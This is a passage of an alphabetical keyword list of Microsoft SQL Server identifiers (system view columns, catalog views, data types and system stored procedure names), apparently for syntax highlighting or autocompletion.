+phantom_rows_expiring +phantom_rows_touched +phantom_scans_retries +phantom_scans_started +phase_number +phfgid +phrase_id +phyname +physical_database_name +physical_device_name +physical_io +physical_memory_in_use_kb +physical_memory_kb +physical_name +physical_operator_name +physical_path +physical_read_count +pid +pit_db_name +pit_key +pkey +placedid +placed_xml_component_id +placement_id +placingid +plan_flags +plan_forcing_type +plan_forcing_type_desc +plan_generation_num +plan_group_id +plan_guide_id +plan_guides +plan_handle +PlanHandle +plan_id +plan_node_id +plan_persist_context_settings +plan_persist_plan +plan_persist_query +plan_persist_query_hints +plan_persist_query_template_parameterization +plan_persist_query_text +plan_persist_runtime_stats +plan_persist_runtime_stats_interval +plan_persist_wait_stats +platform +platform_desc +pname +polaris_executed_requests_history +polaris_executed_requests_text +polaris_file_statistics +pool_id +pool_paged_bytes +pool_version +population_type +population_type_description +port +port1 +port2 +port_no +position +prec +precision +predicate +predicate_definition +predicate_type +predicate_type_desc +predicate_xml +predicted_allocations_kb +preemptive_switches_count +prefix +PrefixBytes +prepare_elapsed_time +prepare_lsn +prerelease +prev_error +previous_block_hash +previous_page_file_id +previous_page_page_id +previous_status +previous_status_description +previous_value +prev_page_file_id +prev_page_page_id +prev_row_in_chain +primary_dictionary_id +primary_recovery_health +primary_recovery_health_desc +primary_replica +primary_role_allow_connections +primary_role_allow_connections_desc +princid +principal_id +principal_name +principal_server_name +printfmt +priority +priority_id +priority_score +private_build +private_bytes +private_pages +private_pool_hits +private_pool_hit_search_length +private_pool_hits_RA +private_pool_hits_search_length_RA +private_pool_last_access_point +private_pool_last_RA_access_point +private_pool_misses +private_pool_misses_RA +private_pool_miss_search_length +private_pool_miss_search_length_RA +private_pool_pages +private_pool_size +privileged_time +PRIVILEGE_TYPE +probability_of_reuse +procedure_name +procedure_number +procedures +processadmin +process_content +process_content_desc +process_cpu_usage +processed_row_count +process_id +process_kernel_time_ms +process_memory_limit_mb +process_name +processor_group +processor_time +process_physical_affinity +process_physical_memory_low +process_user_time_ms +process_virtual_memory_low +proc_ioblocked_cnt +proc_runable_cnt +producer_id +producer_type +product +product_version +prog_id +program_name +progress +progress_category +promise_avg +promised +promise_total +properties +property +property_description +property_id +property_int_id +property_list_id +property_name +property_set_guid +property_value +protecttype +protocol +protocol_desc +protocol_type +protocol_version +provider +provider_id +providername +ProviderName +provider_string +providerstring +provider_type +provider_version +proxy_id +pruid +psrv +pstat +pub +public_key +pukey +pushdown +push_enabled +pvs_filegroup_id +pvs_off_row_page_skipped_low_water_mark +pvs_off_row_page_skipped_min_useful_xts +pvs_off_row_page_skipped_oldest_active_xdesid +pvs_off_row_page_skipped_oldest_snapshot +pvs_off_row_page_skipped_transaction_not_cleaned +pvt_key_encryption_type +pvt_key_encryption_type_desc +pvt_key_last_backup_date +pwdhash +qe_cc_address +qid +qual +quality +quantum_length_us +quantum_used +query_capture_mode +query_capture_mode_desc +query_context_settings +query_cost +query_count +query_driver_address +query_execution_timeout_sec +query_flags +query_hash +query_hint_failure_count +query_hint_id +query_hints +query_hints_flags +query_hint_text +query_id +query_info +QueryNotificationErrorsQueue +query_parameterization_type +query_parameterization_type_desc +query_param_type +query_plan +query_plan_hash +queryscan_address +query_sql_text +query_store_plan +query_store_query +query_store_query_hints +query_store_query_text +query_store_runtime_stats +query_store_runtime_stats_interval +query_store_wait_stats +query_template +query_template_flags +query_template_hash +query_template_id +query_text +query_text_id +query_time +query_timeout +querytimeout +query_wait_timeout_sec +queue_delay +queued_loads +queued_population_type +queued_population_type_description +queued_request_count +queued_requests +queue_id +queue_length +queue_max_len +queue_messages_1003150619 +queue_messages_1035150733 +queue_messages_1067150847 +queue_size +queuing_order +quorum_commit_lsn +quorum_commit_time +quorum_state +quorum_state_desc +quorum_type +quorum_type_desc +quoted_identifier +range_count +range_high_key +range_rows +range_scan_count +rank +rank_desc +rcmodified +rcrows +rcvfrag +rcvseq +reached_end +read_access +read_ahead_count +read_ahead_distance +read_ahead_done +read_ahead_target +read_bytes_total +read_command +read_count +reader_spid +read_io_completed_total +read_io_count +read_io_issued_total +read_io_queued_total +read_io_stall_queued_ms +read_io_stall_total_ms +read_io_throttled_total +read_location +read_microsec +readobj +readonlybaselsn +read_only_count +read_only_lsn +readonlylsn +readonly_reason +read_only_replica_id +read_only_routing_url +read_operation_count +reads +Reads +reads_completed +read_set_row_count +reads_merged +read_time_ms +read_version +read_write_lsn +readwritelsn +read_write_routing_url +real +reason +reason_desc +re_awcName +rebind_count +re_bitpos +re_ccName +received_time +receive_sequence +receive_sequence_frag +receives_posted +re_colattr +re_colid +re_collatid +re_computed +record +record_count +record_image_first_part +record_image_second_part +record_length_first_part_in_bytes +record_length_second_part_in_bytes +recovery_checkpoint_id +recovery_checkpoint_ts +recovery_fork_guid +recovery_health +recovery_health_desc +recovery_lsn +recovery_lsn_candidate +recovery_model +recovery_model_desc +recovery_unit_id +recovery_vlf_count +recv_bytes +recv_compressed +recv_drops +recv_errors +recv_fifo +recv_frame +recv_multicast +recv_packets +redo_queue_size +redo_rate +redo_start_fork_guid +redostartforkguid +redo_start_lsn +redostartlsn +redo_target_fork_guid +redo_target_lsn +redotargetlsn +reduce_progress +refadd +re_fAnsiTrim +refcount +ref_counter +refcounts +refdate +reference_count +referenced_assembly_id +referenced_class +referenced_class_desc +referenced_column_id +referenced_database_name +referenced_entity_name +referenced_id +referenced_major_id +referenced_minor_id +referenced_minor_name +referenced_object_id +referenced_schema_name +referenced_server_name +reference_name +referencing_class +referencing_class_desc +referencing_entity_name +referencing_id +referencing_minor_id +referencing_schema_name +REFERENTIAL_CONSTRAINTS +refkeys +refmod +re_fNullable +regenerate_date +region +region_allocation_base_address +region_allocation_protection +region_base_address +region_current_protection +region_size_in_bytes +region_state +region_type +register_date +registered_by +registered_search_properties +registered_search_property_lists +registry_key +regular_buffer_size +rejected_row_location +rejected_rows_path +reject_sample_value +reject_type +reject_value +relative_file_path +relative_path +remaining_file_name +re_maxlen +remote_data_archive_databases +remote_data_archive_tables +remote_database_id +remote_database_name +remote_hit +remote_logins +remote_machine_name +remote_name +remote_node +remote_object_name +remote_physical_seeding_id +remote_principal_id +remote_schema_name +remoteserverid +remote_service_binding_id +remote_service_bindings +remote_service_name +remote_table_name +remote_user_name +remoteusername +removal_time +removed_all_rounds_count +removed_in_all_rounds_count +removed_last_round_count +remsvc +re_numcols +re_numtextcols +re_offset +replica_id +replica_metadata_id +replica_name +replica_server_name +replinfo +re_prec +req_cryrefcnt +req_ecid +req_lifetime +req_mode +req_ownertype +req_refcnt +req_spid +req_status +req_transactionID +req_transactionUOW +request_context_address +request_count +requested_memory_kb +request_exec_context_id +request_id +RequestID +request_lifetime +request_max_cpu_time_sec +request_max_memory_grant_percent +request_max_memory_grant_percent_numeric +request_max_resource_grant_percent +request_memory_grant_timeout_sec +request_min_resource_grant_percent +request_mode +request_owner_guid +request_owner_id +request_owner_lockspace_id +request_owner_type +request_reference_count +request_request_id +request_session_id +request_state +request_status +request_time +request_type +required_cursor_options +required_memory_kb +required_synchronized_secondaries_to_commit +re_scale +re_schema_lsn_begin +re_schema_lsn_end +reserved +reserved2 +reserved3 +reserved4 +reserved_bytes +reserved_bytes_by_xdes_id +reserved_io_limited_by_volume_total +reserve_disk_space +reserved_node_bitmap +reserved_page_count +reserved_space_kb +reserved_storage_mb +reserved_worker_count +resource_address +resource_allocation_percentage +resource_associated_entity_id +resource_class +resource_database_id +resource_description +resource_governor_configuration +resource_governor_external_resource_pool_affinity +resource_governor_external_resource_pools +resource_governor_resource_pool_affinity +resource_governor_resource_pools +resource_governor_workload_groups +resource_group_id +resource_id +resource_lock_partition +resource_manager_ack_received +resource_manager_database +resource_manager_dbid +resource_manager_diag_status +resource_manager_id +resource_manager_location +resource_manager_prepare_lsn +resource_manager_server +resource_manager_state +resource_monitor_state +resource_name +resource_phase_1_time +resource_phase_2_time +resource_pool_id +resource_prepare_lsn +resource_semaphore_id +resource_subtype +resource_type +response_rows +result +result_cache_hit +result_desc +result_format +result_format_desc +resultlimit +resultobj +result_schema +result_schema_desc +retention_days +retention_period +retention_period_units +retention_period_units_desc +retired_row_count +retired_transaction_count +retries_attempted +retry_attempts +retry_count +retry_hints +retry_hints_description +retry_interval +return_code +returned_aggregate_count +returned_group_count +returned_row_count +revert_action_duration +revert_action_initiated_by +revert_action_initiated_time +revert_action_start_time +revision +rewind_count +re_xvtype +right_boundary +ring_buffer_address +ring_buffer_type +rkey +rkey1 +rkey10 +rkey11 +rkey12 +rkey13 +rkey14 +rkey15 +rkey16 +rkey2 +rkey3 +rkey4 +rkey5 +rkey6 +rkey7 +rkey8 +rkey9 +rkeydbid +rkeyid +rkeyindid +rmtloginame +rmtpassword +rmtsrvid +role +role_desc +RoleName +role_principal_id +roles +rolesequence +role_sequence_number +root +root_page +rounds_count +round_start_time +route_id +routes +ROUTINE_BODY +ROUTINE_CATALOG +ROUTINE_COLUMNS +ROUTINE_DEFINITION +ROUTINE_NAME +ROUTINES +ROUTINE_SCHEMA +ROUTINE_TYPE +routing_priority +row_address +rowcnt +row_count +row_count_in_thousands +RowCounts +row_delete_attempts +RowFlags +row_group_id +row_group_lock_count +row_group_lock_wait_count +row_group_lock_wait_in_ms +row_group_quality +row_insert_attempts +row_lock_count +row_lock_wait_count +row_lock_wait_in_ms +rowmodctr +row_overflow_fetch_in_bytes +row_overflow_fetch_in_pages +row_overflow_reserved_page_count +row_overflow_used_page_count +rows +rowset +rowset_id +rowsetid +RowsetId +rowsetid_delete +rowsetid_insert +rowsetnum +rows_examined +rows_expired +rows_expired_removed +rows_expiring +rows_first_in_bucket +rows_first_in_bucket_removed +rows_handled +rows_inserted +rows_marked_for_unlink +rows_no_sweep_needed +rows_processed +rows_rejected +rows_returned +rows_sampled +rows_touched +row_terminator +row_update_attempts +row_version +rpc +rpcout +rsc_bin +rsc_dbid +rsc_flag +rsc_indid +rsc_objid +rscolid +rsc_text +rsc_type +rsc_valblk +rsguid +rsid +rsndtime +rule_object_id +run_date +run_duration +run_id +runnable_tasks_count +run_status +run_time +runtime_stats_id +runtime_stats_interval_id +safety +safety_level +safety_level_desc +safetysequence +safety_sequence_number +sample_ms +savepoint_create +savepoint_garbage_count +savepoint_refreshes +savepoint_rollbacks +scale +scan_area +scan_area_desc +scan_count +scan_direction +scan_location +scan_phase +scan_set_count +scans_retried +scans_retries +scans_started +scan_status +scheduler_address +scheduler_count +scheduler_id +scheduler_mask +scheduler_total_count +schema_change_count +schemadate +schema_id +SCHEMA_LEVEL_ROUTINE +schema_name +SCHEMA_NAME +SCHEMA_OWNER +schemas +SCHEMATA +schema_ver +schid +scid +scope +scope_batch +SCOPE_CATALOG +scope_desc +scope_id +scopeid +SCOPE_NAME +scope_object_id +SCOPE_SCHEMA +scope_type +scopetype +scope_type_desc +scoping_xml_component_id +score +script_id +script_level +script_name +scrollable +se_bitpos +se_colid +se_collatid +se_computed +secondary_dictionary_id +secondary_lag_seconds +secondary_low_water_mark +secondary_recovery_health +secondary_recovery_health_desc +secondary_role_allow_connections +secondary_role_allow_connections_desc +secondary_type +secondary_type_desc +sectors_read +sectors_written +securable_class_desc +securable_classes +securityadmin +security_id +security_policies +security_predicate_id +security_predicates +security_timestamp +sec_version_rid +seeding_mode +seeding_mode_desc +seed_value +se_fAnsiTrim +se_fNullable +segid +segmap +segment_bytes_dispatched +segment_id +segment_read_count +segment_skip_count +seladd +selall +selective_xml_index_namespaces +selective_xml_index_paths +self_address +selmod +seltrig +se_maxlen +sendseq +send_sequence +sends_posted +sendxact +sensitivity +sensitivity_classifications +sent_time +se_nullBitInLeafRows +se_numcols +se_offset +se_prec +seq_num +SEQUENCE_CATALOG +sequence_group_id +SEQUENCE_NAME +sequence_num +sequence_number +sequences +SEQUENCES +SEQUENCE_SCHEMA +sequence_value +serde_method +serializer_kernel_time_in_ms +serializer_user_time_in_ms +se_rowsetid +server +serveradmin +server_assembly_modules +server_audits +server_audit_specification_details +server_audit_specifications +server_event_notifications +server_events +server_event_session_actions +server_event_session_events +server_event_session_fields +server_event_sessions +server_event_session_targets +server_file_audits +server_id +server_instance_name +server_len_in_bytes +server_memory_optimized_hybrid_buffer_pool_configuration +server_name +ServerName +server_permissions +server_principal_credentials +server_principal_id +server_principal_name +server_principals +server_principal_sid +server_role_members +servers +server_specification_id +server_sql_modules +server_trigger_events +server_triggers +service_account +service_broker_endpoints +service_broker_guid +ServiceBrokerQueue +service_contract_id +service_contract_message_usages +service_contract_name +service_contracts +service_contract_usages +service_id +service_message_types +service_name +servicename +service_queue_id +service_queues +service_queue_usages +services +se_scale +se_schema_lsn_begin +se_schema_lsn_end +session_context +session_context_keys +session_handle +session_id +SessionLoginName +session_phase +session_server_principal_name +session_source +session_timeout +set_date +set_options +setopts +setupadmin +severity +Severity +se_xvtype +sgam_page_id +sgam_status +sgam_status_desc +sharding_col_id +sharding_dist_type +shard_map_manager_db +shard_map_name +shared +share_delete +shared_memory_committed_kb +shared_memory_reserved_kb +shared_pool_size +share_intention +share_read +share_write +shortmonths +shutdown_time +sid +sigma_blocks_ahead +signal_time +signal_wait_time_ms +signal_worker_address +signature +similarity_index_page_count +simulated_kb +simulation_benefit +singleton_lookup_count +site +size +size_based_cleanup_mode +size_based_cleanup_mode_desc +sizeclass_count +size_in_bytes +size_on_disk_bytes +sizepg +skips_repl_constraints +sku +sleep_time +slot_count +slot_id +smalldatetime +smallint +smallmoney +snapshot_id +snapshot_isolation_state +snapshot_isolation_state_desc +snapshot_sequence_num +snapshot_time +snapshot_timestamp +snapshot_url +sni_error_address +snum +soap_endpoints +socket_count +softirq_time_cs +softnuma_configuration +softnuma_configuration_desc +sos_task_address +source +source_column +source_compute +source_createparams +source_database +source_database_id +SourceDatabaseID +source_database_name +source_dbms +source_desc +source_distribution_id +source_file +source_info +source_length_max +source_length_min +source_nullable +source_precision_max +source_precision_min +source_props +source_query_text +source_scale_max +source_scale_min +source_schema +source_schema_name +source_server +source_table +source_table_id +source_table_name +source_term +source_type +source_version +spacelimit +sp_add_agent_parameter +sp_add_agent_profile +sp_addapprole +sp_addarticle +sp_add_columnstore_column_dictionary +sp_add_data_file_recover_suspect_db +sp_adddatatype +sp_adddatatypemapping +sp_adddistpublisher +sp_adddistributiondb +sp_adddistributor +sp_adddynamicsnapshot_job +sp_addextendedproc +sp_addextendedproperty +sp_AddFunctionalUnitToComponent +sp_addlinkedserver +sp_addlinkedsrvlogin +sp_add_log_file_recover_suspect_db +sp_addlogin +sp_addlogreader_agent +sp_add_log_shipping_alert_job +sp_add_log_shipping_primary_database +sp_add_log_shipping_primary_secondary +sp_add_log_shipping_secondary_database +sp_add_log_shipping_secondary_primary +sp_addmergealternatepublisher +sp_addmergearticle +sp_addmergefilter +sp_addmergelogsettings +sp_addmergepartition +sp_addmergepublication +sp_addmergepullsubscription +sp_addmergepullsubscription_agent +sp_addmergepushsubscription_agent +sp_addmergesubscription +sp_addmessage +sp_addpublication +sp_addpublication_snapshot +sp_addpullsubscription +sp_addpullsubscription_agent +sp_addpushsubscription_agent +sp_addqreader_agent +sp_addqueued_artinfo +sp_addremotelogin +sp_addrole +sp_addrolemember +sp_addscriptexec +sp_addserver +sp_addsrvrolemember +sp_addsubscriber +sp_addsubscriber_schedule +sp_addsubscription +sp_addsynctriggers +sp_addsynctriggerscore +sp_addtabletocontents +sp_add_trusted_assembly +sp_addtype +sp_addumpdevice +sp_adduser +sp_adjustpublisheridentityrange +sp_altermessage +sp_alter_nt_job_mem_configs +sp_approlepassword +spare1 +sp_articlecolumn +sp_articlefilter +sp_article_validation +sp_articleview +sp_assemblies_rowset +sp_assemblies_rowset2 +sp_assemblies_rowset_rmt +sp_assembly_dependencies_rowset +sp_assembly_dependencies_rowset2 +sp_assembly_dependencies_rowset_rmt +spatial_indexes +spatial_index_tessellations +spatial_index_type +spatial_index_type_desc +spatial_reference_id +spatial_reference_systems +sp_attach_db +sp_attach_single_file_db +sp_attachsubscription +sp_audit_write +sp_autoindex_cancel_dta +sp_autoindex_invoke_dta +sp_autostats +sp_availability_group_command_internal +sp_bcp_dbcmptlevel +sp_begin_parallel_nested_tran +sp_bindefault +sp_bindrule +sp_bindsession +sp_browsemergesnapshotfolder +sp_browsereplcmds +sp_browsesnapshotfolder +sp_build_histogram +sp_can_tlog_be_applied +sp_catalogs +sp_catalogs_rowset +sp_catalogs_rowset2 +sp_catalogs_rowset_rmt +sp_cdc_add_job +sp_cdc_change_job +sp_cdc_cleanup_change_table +sp_cdc_dbsnapshotLSN +sp_cdc_disable_db +sp_cdc_disable_table +sp_cdc_drop_job +sp_cdc_enable_db +sp_cdc_enable_table +sp_cdc_generate_wrapper_function +sp_cdc_get_captured_columns +sp_cdc_get_ddl_history +sp_cdc_help_change_data_capture +sp_cdc_help_jobs +sp_cdc_restoredb +sp_cdc_scan +sp_cdc_start_job +sp_cdc_stop_job +sp_cdc_vupgrade +sp_cdc_vupgrade_databases +sp_certify_removable +sp_change_agent_parameter +sp_change_agent_profile +sp_changearticle +sp_changearticlecolumndatatype +sp_changedbowner +sp_changedistpublisher +sp_changedistributiondb +sp_changedistributor_password +sp_changedistributor_property +sp_changedynamicsnapshot_job +sp_changelogreader_agent +sp_change_log_shipping_primary_database +sp_change_log_shipping_secondary_database +sp_change_log_shipping_secondary_primary +sp_changemergearticle +sp_changemergefilter +sp_changemergelogsettings +sp_changemergepublication +sp_changemergepullsubscription +sp_changemergesubscription +sp_changeobjectowner +sp_changepublication +sp_changepublication_snapshot +sp_changeqreader_agent +sp_changereplicationserverpasswords +sp_change_repl_serverport +sp_changesubscriber +sp_changesubscriber_schedule +sp_changesubscription +sp_changesubscriptiondtsinfo +sp_change_subscription_properties +sp_changesubstatus +sp_change_tracking_waitforchanges +sp_change_users_login +sp_check_constbytable_rowset +sp_check_constbytable_rowset2 +sp_check_constraints_rowset +sp_check_constraints_rowset2 +sp_check_dynamic_filters +sp_check_for_sync_trigger +sp_checkinvalidivarticle +sp_check_join_filter +sp_check_log_shipping_monitor_alert +sp_checkOraclepackageversion +sp_check_publication_access +sp_check_removable +sp_check_subset_filter +sp_check_sync_trigger +sp_clean_db_file_free_space +sp_clean_db_free_space +sp_cleanmergelogfiles +sp_cleanup_all_openrowset_statistics +sp_cleanup_all_user_data_in_master +sp_cleanup_data_retention +sp_cleanupdbreplication +sp_cleanup_log_shipping_history +sp_cleanup_temporal_history +sp_cloud_update_blob_tier +sp_collect_backend_plan +sp_column_privileges +sp_column_privileges_ex +sp_column_privileges_rowset +sp_column_privileges_rowset2 +sp_column_privileges_rowset_rmt +sp_columns +sp_columns_100 +sp_columns_100_rowset +sp_columns_100_rowset2 +sp_columns_90 +sp_columns_90_rowset +sp_columns_90_rowset2 +sp_columns_90_rowset_rmt +sp_columns_ex +sp_columns_ex_100 +sp_columns_ex_90 +sp_columns_managed +sp_columns_rowset +sp_columns_rowset2 +sp_columns_rowset_rmt +sp_commit_parallel_nested_tran +sp_configure +sp_configure_automatic_tuning +sp_configure_peerconflictdetection +sp_constr_col_usage_rowset +sp_constr_col_usage_rowset2 +sp_control_dbmasterkey_password +sp_control_plan_guide +sp_copymergesnapshot +sp_copysnapshot +sp_copysubscription +sp_create_asymmetric_key_from_external_key +sp_create_format_type +sp_createmergepalrole +sp_create_openrowset_statistics +sp_createorphan +sp_create_plan_guide +sp_create_plan_guide_from_handle +sp_create_removable +sp_createstats +sp_create_streaming_job +sp_createtranpalrole +sp_cursor +sp_cursorclose +sp_cursorexecute +sp_cursorfetch +sp_cursor_list +sp_cursoropen +sp_cursoroption +sp_cursorprepare +sp_cursorprepexec +sp_cursorunprepare +sp_cycle_errorlog +sp_databases +sp_data_pool_database_query_state +sp_data_pool_table_query_state +sp_data_source_objects +sp_data_source_table_columns +sp_datatype_info +sp_datatype_info_100 +sp_datatype_info_90 +sp_dbcmptlevel +sp_db_ebcdic277_2 +sp_dbfixedrolepermission +sp_db_increased_partitions +sp_dbmmonitoraddmonitoring +sp_dbmmonitorchangealert +sp_dbmmonitorchangemonitoring +sp_dbmmonitordropalert +sp_dbmmonitordropmonitoring +sp_dbmmonitorhelpalert +sp_dbmmonitorhelpmonitoring +sp_dbmmonitorresults +sp_dbmmonitorupdate +sp_dbremove +sp_db_selective_xml_index +sp_db_vardecimal_storage_format +sp_ddopen +sp_defaultdb +sp_defaultlanguage +sp_delete_backup +sp_delete_backup_file_snapshot +sp_delete_http_namespace_reservation +sp_delete_log_shipping_alert_job +sp_delete_log_shipping_primary_database +sp_delete_log_shipping_primary_secondary +sp_delete_log_shipping_secondary_database +sp_delete_log_shipping_secondary_primary +sp_deletemergeconflictrow +sp_deletepeerrequesthistory +sp_deletetracertokenhistory +sp_denylogin +sp_depends +sp_describe_cursor +sp_describe_cursor_columns +sp_describe_cursor_tables +sp_describe_first_result_set +sp_describe_parameter_encryption +sp_describe_undeclared_parameters +sp_detach_db +sp_diagnostic_showplan_log_dbid +sp_disableagentoffload +sp_distcounters +sp_drop_agent_parameter +sp_drop_agent_profile +sp_dropanonymousagent +sp_dropanonymoussubscription +sp_dropapprole +sp_droparticle +sp_dropdatatypemapping +sp_dropdevice +sp_dropdistpublisher +sp_dropdistributiondb +sp_dropdistributor +sp_dropdynamicsnapshot_job +sp_dropextendedproc +sp_dropextendedproperty +sp_drop_format_type +sp_droplinkedsrvlogin +sp_droplogin +sp_dropmergealternatepublisher +sp_dropmergearticle +sp_dropmergefilter +sp_dropmergelogsettings +sp_dropmergepartition +sp_dropmergepublication +sp_dropmergepullsubscription +sp_dropmergesubscription +sp_dropmessage +sp_drop_openrowset_statistics +sp_droporphans +sp_droppublication +sp_droppublisher +sp_droppullsubscription +sp_dropremotelogin +sp_dropreplsymmetrickey +sp_droprole +sp_droprolemember +sp_dropserver +sp_dropsrvrolemember +sp_drop_streaming_job +sp_dropsubscriber +sp_dropsubscription +sp_drop_trusted_assembly +sp_droptype +sp_dropuser +sp_dsninfo +special_build +special_term +SPECIFIC_CATALOG +SPECIFIC_NAME +SPECIFIC_SCHEMA +sp_enableagentoffload +sp_enable_heterogeneous_subscription +sp_enable_sql_debug +sp_enclave_send_keys +sp_enumcustomresolvers +sp_enumdsn +sp_enumeratependingschemachanges +sp_enumerrorlogs +sp_enumfullsubscribers +sp_enumoledbdatasources +sp_enum_oledb_providers +sp_estimate_data_compression_savings +sp_estimated_rowsize_reduction_for_vardecimal +sp_execute +sp_execute_external_script +sp_execute_remote +sp_executesql +sp_executesql_metrics +sp_expired_subscription_cleanup +sp_fido_build_basic_histogram +sp_fido_build_histogram +sp_fido_get_glm_server_update_lock +sp_fido_glms_execute_command +sp_fido_glms_set_storage_containers +sp_fido_glms_unregister_appname +sp_fido_indexstore_update_topology +sp_fido_remove_retention_policy +sp_fido_set_ddl_step +sp_fido_set_retention_policy +sp_fido_set_tran +sp_fido_setup_endpoints +sp_fido_setup_glms +sp_fido_tran_abort +sp_fido_tran_begin +sp_fido_tran_commit +sp_fido_tran_get_state +sp_fido_tran_set_token +sp_filestream_force_garbage_collection +sp_filestream_recalculate_container_size +sp_firstonly_bitmap +sp_fkeys +sp_flush_commit_table +sp_flush_commit_table_on_demand +sp_flush_CT_internal_table_on_demand +sp_flush_ledger_transactions_table +sp_flush_log +sp_force_slog_truncation +sp_foreignkeys +sp_foreign_keys_rowset +sp_foreign_keys_rowset2 +sp_foreign_keys_rowset3 +sp_foreign_keys_rowset_rmt +sp_fulltext_catalog +sp_fulltext_column +sp_fulltext_database +sp_fulltext_getdata +sp_fulltext_keymappings +sp_fulltext_load_thesaurus_file +sp_fulltext_pendingchanges +sp_fulltext_recycle_crawl_log +sp_fulltext_semantic_register_language_statistics_db +sp_fulltext_semantic_unregister_language_statistics_db +sp_fulltext_service +sp_fulltext_table +sp_FuzzyLookupTableMaintenanceInstall +sp_FuzzyLookupTableMaintenanceInvoke +sp_FuzzyLookupTableMaintenanceUninstall +sp_generate_agent_parameter +sp_generate_database_ledger_digest +sp_generatefilters +sp_generate_openrowset_statistics_props +sp_getagentparameterlist +sp_getapplock +sp_getbindtoken +sp_get_database_scoped_credential +sp_getdefaultdatatypemapping +sp_get_distributor +sp_getdistributorplatform +sp_get_dmv_collector_views +sp_get_fido_lock +sp_get_fido_lock_batch +sp_get_file_splits +sp_get_job_status_mergesubscription_agent +sp_getmergedeletetype +sp_get_mergepublishedarticleproperties +sp_get_migration_vlf_state +sp_get_openrowset_statistics_additional_props +sp_get_openrowset_statistics_cardinality +sp_get_Oracle_publisher_metadata +sp_getProcessorUsage +sp_getpublisherlink +sp_get_query_template +sp_getqueuedarticlesynctraninfo +sp_getqueuedrows +sp_get_redirected_publisher +sp_getschemalock +sp_getsqlqueueversion +sp_get_streaming_job +sp_getsubscriptiondtspackagename +sp_getsubscription_status_hsnapshot +sp_gettopologyinfo +sp_get_total_openrowset_statistics_count +sp_getVolumeFreeSpace +sp_grantdbaccess +sp_grantlogin +sp_grant_publication_access +sp_help +sp_help_agent_default +sp_help_agent_parameter +sp_help_agent_profile +sp_helpallowmerge_publication +sp_helparticle +sp_helparticlecolumns +sp_helparticledts +sp_helpconstraint +sp_helpdatatypemap +sp_help_datatype_mapping +sp_helpdb +sp_helpdbfixedrole +sp_helpdevice +sp_helpdistpublisher +sp_helpdistributiondb +sp_helpdistributor +sp_helpdistributor_properties +sp_helpdynamicsnapshot_job +sp_helpextendedproc +sp_helpfile +sp_helpfilegroup +sp_help_fulltext_catalog_components +sp_help_fulltext_catalogs +sp_help_fulltext_catalogs_cursor +sp_help_fulltext_columns +sp_help_fulltext_columns_cursor +sp_help_fulltext_system_components +sp_help_fulltext_tables +sp_help_fulltext_tables_cursor +sp_helpindex +sp_helplanguage +sp_helplinkedsrvlogin +sp_helplogins +sp_helplogreader_agent +sp_help_log_shipping_alert_job +sp_help_log_shipping_monitor +sp_help_log_shipping_monitor_primary +sp_help_log_shipping_monitor_secondary +sp_help_log_shipping_primary_database +sp_help_log_shipping_primary_secondary +sp_help_log_shipping_secondary_database +sp_help_log_shipping_secondary_primary +sp_helpmergealternatepublisher +sp_helpmergearticle +sp_helpmergearticlecolumn +sp_helpmergearticleconflicts +sp_helpmergeconflictrows +sp_helpmergedeleteconflictrows +sp_helpmergefilter +sp_helpmergelogfiles +sp_helpmergelogfileswithdata +sp_helpmergelogsettings +sp_helpmergepartition +sp_helpmergepublication +sp_helpmergepullsubscription +sp_helpmergesubscription +sp_helpntgroup +sp_help_peerconflictdetection +sp_helppeerrequests +sp_helppeerresponses +sp_helppublication +sp_help_publication_access +sp_helppublication_snapshot +sp_helppublicationsync +sp_helppullsubscription +sp_helpqreader_agent +sp_helpremotelogin +sp_helpreplfailovermode +sp_helpreplicationdb +sp_helpreplicationdboption +sp_helpreplicationoption +sp_helprole +sp_helprolemember +sp_helprotect +sp_helpserver +sp_helpsort +sp_help_spatial_geography_histogram +sp_help_spatial_geography_index +sp_help_spatial_geography_index_xml +sp_help_spatial_geometry_histogram +sp_help_spatial_geometry_index +sp_help_spatial_geometry_index_xml +sp_helpsrvrole +sp_helpsrvrolemember +sp_helpstats +sp_helpsubscriberinfo +sp_helpsubscription +sp_helpsubscriptionerrors +sp_helpsubscription_properties +sp_helptext +sp_helptracertokenhistory +sp_helptracertokens +sp_helptrigger +sp_helpuser +sp_helpxactsetjob +sp_http_generate_wsdl_complex +sp_http_generate_wsdl_defaultcomplexorsimple +sp_http_generate_wsdl_defaultsimpleorcomplex +sp_http_generate_wsdl_simple +spid +SPID +sp_identitycolumnforreplication +sp_IHadd_sync_command +sp_IHarticlecolumn +sp_IHget_loopback_detection +sp_IH_LR_GetCacheData +sp_IHScriptIdxFile +sp_IHScriptSchFile +sp_IHValidateRowFilter +sp_IHXactSetJob +sp_indexcolumns_managed +sp_indexes +sp_indexes_100_rowset +sp_indexes_100_rowset2 +sp_indexes_90_rowset +sp_indexes_90_rowset2 +sp_indexes_90_rowset_rmt +sp_indexes_managed +sp_indexes_rowset +sp_indexes_rowset2 +sp_indexes_rowset_rmt +sp_indexoption +spins +spins_per_collision +sp_internal_alter_nt_job_limits +sp_invalidate_textptr +sp_is_columnstore_column_dictionary_enabled +sp_is_makegeneration_needed +sp_ivindexhasnullcols +sp_kill_filestream_non_transacted_handles +sp_kill_oldest_transaction_on_secondary +sp_ldw_apply_file_updates_for_ext_table +sp_ldw_get_file_updates_for_ext_table +sp_ldw_insert_container_and_partition_for_ext_table +sp_ldw_internal_tables_clean_up +sp_ldw_normalize_ext_tab_name +sp_ldw_refresh_internal_table_on_distribution +sp_ldw_select_entries_from_internal_table +sp_ldw_update_stats_for_ext_table +sp_lightweightmergemetadataretentioncleanup +sp_linkedservers +sp_linkedservers_rowset +sp_linkedservers_rowset2 +sp_link_publication +sp_lock +sp_logshippinginstallmetadata +sp_lookupcustomresolver +sp_mapdown_bitmap +sp_markpendingschemachange +sp_marksubscriptionvalidation +sp_memory_leak_detection +sp_memory_optimized_cs_migration +sp_mergearticlecolumn +sp_mergecleanupmetadata +sp_mergedummyupdate +sp_mergemetadataretentioncleanup +sp_mergesubscription_cleanup +sp_mergesubscriptionsummary +sp_metadata_sync_connector_add +sp_metadata_sync_connector_drop +sp_metadata_sync_connectors_status +sp_migrate_user_to_contained +sp_monitor +sp_MSacquireHeadofQueueLock +sp_MSacquireserverresourcefordynamicsnapshot +sp_MSacquireSlotLock +sp_MSacquiresnapshotdeliverysessionlock +sp_MSactivate_auto_sub +sp_MSactivatelogbasedarticleobject +sp_MSactivateprocedureexecutionarticleobject +sp_MSadd_anonymous_agent +sp_MSaddanonymousreplica +sp_MSadd_article +sp_MSadd_compensating_cmd +sp_MSadd_distribution_agent +sp_MSadd_distribution_history +sp_MSadddynamicsnapshotjobatdistributor 